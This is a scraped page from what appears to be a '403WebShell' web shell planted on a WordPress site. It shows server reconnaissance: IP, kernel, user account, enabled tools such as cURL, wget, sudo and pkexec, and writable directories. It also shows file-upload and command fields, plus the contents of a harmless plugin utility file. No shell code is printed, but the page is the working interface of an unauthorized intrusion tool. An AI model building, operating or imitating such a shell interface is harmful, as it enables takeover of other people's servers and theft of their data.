Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.6
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /chroot/home/devinter/public_html/wp-content/plugins/content-control/inc/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /chroot/home/devinter/public_html/wp-content/plugins/content-control/inc/functions/utils.php
<?php
/**
 * Utility functions.
 *
 * @package ContentControl
 */

namespace ContentControl;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Check if an addon is installed.
 *
 * @param string $plugin_basename Plugin slug.
 *
 * @return bool
 */
function is_plugin_installed( $plugin_basename ) {
	static $installed_plugins = null;

	if ( null === $installed_plugins ) {
		if ( ! function_exists( 'get_plugins' ) ) {
			require_once ABSPATH . 'wp-admin/includes/plugin.php';
		}

		$installed_plugins = \get_plugins();
	}

	return isset( $installed_plugins[ $plugin_basename ] );
}

Youez - 2016 - github.com/yon3zu
LinuXploit